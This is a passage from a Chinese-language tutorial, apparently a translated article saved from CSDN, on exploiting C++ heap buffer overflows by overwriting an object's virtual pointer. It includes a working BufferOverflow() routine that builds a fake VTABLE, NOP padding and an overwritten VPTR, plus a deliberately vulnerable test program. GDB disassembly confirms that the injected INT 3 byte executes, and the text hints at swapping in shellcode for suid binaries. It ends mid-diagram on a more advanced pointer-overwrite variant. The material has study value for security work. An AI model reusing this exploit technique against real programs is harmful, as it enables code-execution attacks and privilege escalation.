📄 csdn_文档中心_突破c++的虚拟指针--c++程序的缓冲区溢出攻击.htm
字号:
<PrintBuffer__8MyClass2>
我们看到,PrintBuffer()方法正好位于其对象实例的VTABLE的第三个方法。现在让我们单步执行后面的代码,来分析一下“动态绑定”的机制:
(gdb) ni 接下来要执行的指令为: 0x804947a <main+122>:
mov 0xfffffff8(%ebp),%edx 该指令使EDX寄存器指向第一个对象实例。 0x804947d
<main+125>: mov 0x20(%edx),%eax 0x8049480 <main+128>:
add $0x8,%eax 这两条指令使EAX寄存器指向MyClass1对象实例VTABLE的第三个地址(PrintBuffer方法入口)。
0x8049483 <main+131>: mov 0xfffffff8(%ebp),%edx 0x8049486
<main+134>: push %edx 这两条指令使EDX寄存器指向第一个对象实例,并将该指针压栈。 0x8049487
<main+135>: mov (%eax),%edi // EDI = *(VPTR+8) 0x8049489
<main+137>: call *%edi // run the code at EDI
这两条指令将VTABLE的第三个地址存放到EDI寄存器,该地址为MyClass1对象实例的PrintBuffer()方法的入口。MyClass2对象实例的处理机制是一样的。 最后,主函数正常返回,主程序结束。
---[[ 突破VPTR ]]--------------------------------------
现在让我们来探讨如何突破上面那个有缓冲区溢出漏洞的程序。要达到这个目的,必须能够做到:
-构造我们自己的VTABLE,其中的指针入口将指向我们期望运行的代码(如shellcode等)。 -使缓冲区溢出,并覆盖VPTR,使其指向我们的VTABLE。
也就是说,在被溢出缓冲区的开始构造一个VTABLE,然后使被覆盖后的VPTR能够指向该缓冲区的起始位置(即我们的VTABLE)。至于shellcode的位置,既可以在缓冲区中VTABLE之后,也可以位于被覆盖的VPTR之后。不过,如果我们将shellcode放到VPTR之后,则须确保该部份内存可写,否则会导致段错误。在这里如何选择取决于缓冲区的大小。如果缓冲区足够大,可以容纳VTABLE和shellcode,则可以完全避免段错误。此外还要注意,在每一个对象实例后都有4字节的特定数所(0x29,0x49),同时记住在VPTR后添加字符串结束符00h。
我们决定把shellcode放在VPTR之前,即需要构造如下结构的缓冲区: +------(1)---<----------------+
| | | ==+= SSSS ..... SSSS .... B ... CVVVV0
==+= =+== | | | | +----(2)--+->-------------+ 说明:
V 缓冲区首部的地址。 S shellcode的地址。 B 空指令,同时使地址边界对齐。 C
shellcode代码。在本例中,我们只用一个字节CCh(汇编指令为INT 3)。 0 字符串缓冲区尾部标识。
位于缓冲区首部的SSSS的数量取决于你是否知道VPTR指向VTABLE中的那个方法相对于第一个方法的偏移量。当缓冲区溢出后:
如果知道偏移量(或称索引),可以构造精确的指针。 如果不知道确切的索引值,我们就用覆盖多个方法的入口指针,以确保会跳转到我们的shellcode。即类似于“窗口命中”原理。
VVVV的值必须通过分析被溢出程序的运行过程都能得到。 需要注意的是,对象实例的内存空间是在堆(heap)中分配的,这使得确定其地址的难度有所加大。
我们将要编写一个用于构造所需缓冲区的函数。该函数接收三个参数: - BufferAddress:被溢出缓冲区的起始地址。 -
NAddress:覆盖方法入口指针的数量。 BufferOverflow()函数代码如下: char
*BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i;
Buffer=(char*)malloc(VPTROffset+4); // 分配内存 CCOffset=(unsigned
long)VPTROffset-1; // 计算执行代码在缓冲区中的偏移量 for (i=0;i<VPTROffset;i++)
Buffer[i]=‘\x90‘; // 填充空指令NOP LongBuffer=(unsigned long*)Buffer; //
构造指向包含VTABLE结构的缓冲区的指针 for (i=0;i<NAddress;i++)
LongBuffer[i]=BufferAddress+CCOffset; // 在缓冲区首部(VTABLE结构)填充执行代码的地址
LongBuffer=(unsigned long*)&Buffer[VPTROffset]; // 指向VPTR的指针
*LongBuffer=BufferAddress; // 覆盖VPTR的数值 Buffer[CCOffset]=‘\xCC‘; //
被执行代码 Buffer[VPTROffset+4]=‘\x00‘; // 字符串结束字符 return Buffer; }
在调用这个BufferOverflow()函数时需要传递以下参数:
-缓冲区地址(在本例为Object[0]对象实例的地址) -被覆盖方法入口地址在VTABLE中的索引(在我的机器中本例为3) -
VPTR的偏移量(在本例为32) 测试程序(bo3.cpp)源代码如下: #include <stdio.h> #include
<string.h> #include <malloc.h> class BaseClass { private: char
Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String);
} virtual void PrintBuffer() { printf(“%s\n“,Buffer); } }; class
MyClass1:public BaseClass { public: void PrintBuffer() {
printf(“MyClass1: “); BaseClass::PrintBuffer(); } }; class
MyClass2:public BaseClass { public: void PrintBuffer() {
printf(“MyClass2: “); BaseClass::PrintBuffer(); } }; char
*BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i;
Buffer=(char*)malloc(VPTROffset+4+1); CCOffset=(unsigned
long)VPTROffset-1; for (i=0;i<VPTROffset;i++) Buffer[i]=‘\x90‘;
LongBuffer=(unsigned long*)Buffer; for (i=0;i<NAddress;i++)
LongBuffer[i]=BufferAddress+CCOffset; LongBuffer=(unsigned
long*)&Buffer[VPTROffset]; *LongBuffer=BufferAddress;
Buffer[CCOffset]=‘\xCC‘; Buffer[VPTROffset+4]=‘\x00‘; return Buffer; }
void main() { BaseClass *Object[2]; Object[0]=new MyClass1; Object[1]=new
MyClass2; Object[0]->SetBuffer(BufferOverflow((unsigned
long)&(*Object[0]),3,32)); Object[1]->SetBuffer(“string2“);
Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } 编译并运行GDB调试器:
[backend@isbase test] > gcc -o bo3 bo3.cpp [backend@isbase test] >
gdb bo3 ... (gdb) disassemble main Dump of assembler code for function
main: 0x80494cc <main>: push %ebp 0x80494cd <main+1>:
mov %esp,%ebp 0x80494cf <main+3>: sub $0x8,%esp 0x80494d2
<main+6>: push %edi 0x80494d3 <main+7>: push %esi
0x80494d4 <main+8>: push %ebx 0x80494d5 <main+9>: push
$0x24 0x80494d7 <main+11>: call 0x804b660 <__builtin_new>
0x80494dc <main+16>: add $0x4,%esp 0x80494df
<main+19>: mov %eax,%eax 0x80494e1
<main+21>: mov %eax,%ebx 0x80494e3 <main+23>: push %ebx
0x80494e4 <main+24>: call 0x804c9ec <__8MyClass1> 0x80494e9
<main+29>: add $0x4,%esp 0x80494ec
<main+32>: mov %eax,%esi 0x80494ee
<main+34>: jmp 0x80494f5 <main+41> 0x80494f0
<main+36>: call 0x8049d1c <__throw> 0x80494f5
<main+41>: mov %esi,0xfffffff8(%ebp) 0x80494f8
<main+44>: push $0x24 0x80494fa <main+46>: call 0x804b660
<__builtin_new> 0x80494ff <main+51>: add $0x4,%esp 0x8049502
<main+54>: mov %eax,%eax 0x8049504
<main+56>: mov %eax,%esi 0x8049506 <main+58>: push %esi
0x8049507 <main+59>: call 0x804c9cc <__8MyClass2> 0x804950c
<main+64>: add $0x4,%esp 0x804950f
<main+67>: mov %eax,%edi 0x8049511
<main+69>: jmp 0x8049518 <main+76> 0x8049513
<main+71>: call 0x8049d1c <__throw> 0x8049518
<main+76>: mov %edi,0xfffffffc(%ebp) 0x804951b
<main+79>: push $0x20 0x804951d <main+81>: push $0x3
0x804951f <main+83>: mov 0xfffffff8(%ebp),%eax 0x8049522
<main+86>: push %eax 0x8049523 <main+87>: call 0x8049400
<BufferOverflow__FUlii> 0x8049528 <main+92>: add $0xc,%esp
0x804952b <main+95>: mov %eax,%eax 0x804952d
<main+97>: push %eax ---Type <return> to continue, or q
<return> to quit--- 0x804952e
<main+98>: mov 0xfffffff8(%ebp),%eax 0x8049531 <main+101>:
push %eax 0x8049532 <main+102>: call 0x804ca10
<SetBuffer__9BaseClassPc> 0x8049537 <main+107>:
add $0x8,%esp 0x804953a <main+110>: push $0x804ce82 0x804953f
<main+115>: mov 0xfffffffc(%ebp),%eax 0x8049542 <main+118>:
push %eax 0x8049543 <main+119>: call 0x804ca10
<SetBuffer__9BaseClassPc> 0x8049548 <main+124>:
add $0x8,%esp 0x804954b <main+127>: mov 0xfffffff8(%ebp),%edx
0x804954e <main+130>: mov 0x20(%edx),%eax 0x8049551
<main+133>: add $0x8,%eax 0x8049554 <main+136>:
mov 0xfffffff8(%ebp),%edx 0x8049557 <main+139>: push %edx
0x8049558 <main+140>: mov (%eax),%edi 0x804955a <main+142>:
call *%edi 0x804955c <main+144>: add $0x4,%esp 0x804955f
<main+147>: mov 0xfffffffc(%ebp),%edx 0x8049562 <main+150>:
mov 0x20(%edx),%eax 0x8049565 <main+153>: add $0x8,%eax 0x8049568
<main+156>: mov 0xfffffffc(%ebp),%edx 0x804956b <main+159>:
push %edx 0x804956c <main+160>: mov (%eax),%edi 0x804956e
<main+162>: call *%edi 0x8049570 <main+164>: add $0x4,%esp
0x8049573 <main+167>: xor %eax,%eax 0x8049575 <main+169>:
jmp 0x80495b0 <main+228> 0x8049577 <main+171>:
jmp 0x80495b0 <main+228> 0x8049579 <main+173>:
lea 0x0(%esi,1),%esi 0x8049580 <main+180>: push %ebx 0x8049581
<main+181>: call 0x804b5d0 <__builtin_delete> 0x8049586
<main+186>: add $0x4,%esp 0x8049589 <main+189>:
jmp 0x80494f0 <main+36> 0x804958e <main+194>: mov %esi,%esi
0x8049590 <main+196>: push %esi 0x8049591 <main+197>: call
0x804b5d0 <__builtin_delete> 0x8049596 <main+202>:
add $0x4,%esp 0x8049599 <main+205>: jmp 0x8049513 <main+71>
0x804959e <main+210>: jmp 0x80495a5 <main+217> ---Type
<return> to continue, or q <return> to quit--- 0x80495a0
<main+212>: call 0x8049d1c <__throw> 0x80495a5
<main+217>: call 0x804a0a0 <terminate__Fv> 0x80495aa
<main+222>: lea 0x0(%esi),%esi 0x80495b0 <main+228>:
lea 0xffffffec(%ebp),%esp 0x80495b3 <main+231>: pop %ebx
0x80495b4 <main+232>: pop %esi 0x80495b5 <main+233>:
pop %edi 0x80495b6 <main+234>: leave 0x80495b7 <main+235>:
ret 0x80495b8 <main+236>: nop 0x80495b9 <main+237>:
nop 0x80495ba <main+238>: nop 0x80495bb <main+239>:
nop 0x80495bc <main+240>: nop 0x80495bd <main+241>:
nop 0x80495be <main+242>: nop 0x80495bf <main+243>:
nop End of assembler dump. 我们在0x80494ec处设置一个断点,以获得第一个对象实例的地址。 (gdb)
break *0x80494ec Breakpoint 1 at 0x80494ec (gdb) run Starting program:
/home/backend/test/bo3 Breakpoint 1, 0x80494ec in main () 运行程序: (gdb)
run Starting program: /home/backend/test/bo3 Breakpoint 1, 0x80494ec in
main () (gdb) info reg eax eax 0x804f970 134543728 继续运行: (gdb)
cont Continuing. Program received signal SIGTRAP, Trace/breakpoint trap.
0x804f990 in ?? ()
我们的进程接收到一个SIGTRAP信号(该信号由位于0x804f990处的指令产生)。在上面我们已经知道对象实例的地址为0x804f970。计算
0x804f990-0x804f970-1=0x1f (=31),刚好就是CCh(INT
3的机器码)在缓冲区的偏移量。因此可以很肯定地说CCh已经被执行了!
我想你们也一定想到了,如果用一段shellcode替换CCh,就会执行这段shellcode。特别是如果bo3程序是suid属性的话……;)
---[[ 进阶 ]]--------------------------------------
在上面我们讨论了最简单的溢出攻击机制。下面来探讨一些更高级的技术。 例如,对于以下这个类: class MyClass3 {
private: char Buffer3[32]; MyClass1 *PtrObjectClass; public: virtual void
Function1() { ... PtrObjectClass1->PrintBuffer(); ... } };
在MyClass3类中包含了一个指向另一个类的指针。如果我们溢出了MyClass3的Buffer3缓冲区,就会改写MyClass1类PtrObjectClass对象实例的指针。也就是说我们只需使覆盖后的指针指向一个早已定义好的类即可。;)
+----------------------------------------------------+
| | +-> VTABLE_MyClass3:
IIIIIIIIIIIIRRRR | =+== MyClass3 object:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX ==+=
|
+---------------------<---------------------------+ | +--> MyClass1
object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
==+= |
+-------------------------------------------------------+ | +-->
VTABLE_MyClass1: IIIIIIIIIIIIQQQQ 说明: B MyClass3对象实例的Buffer。 C
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -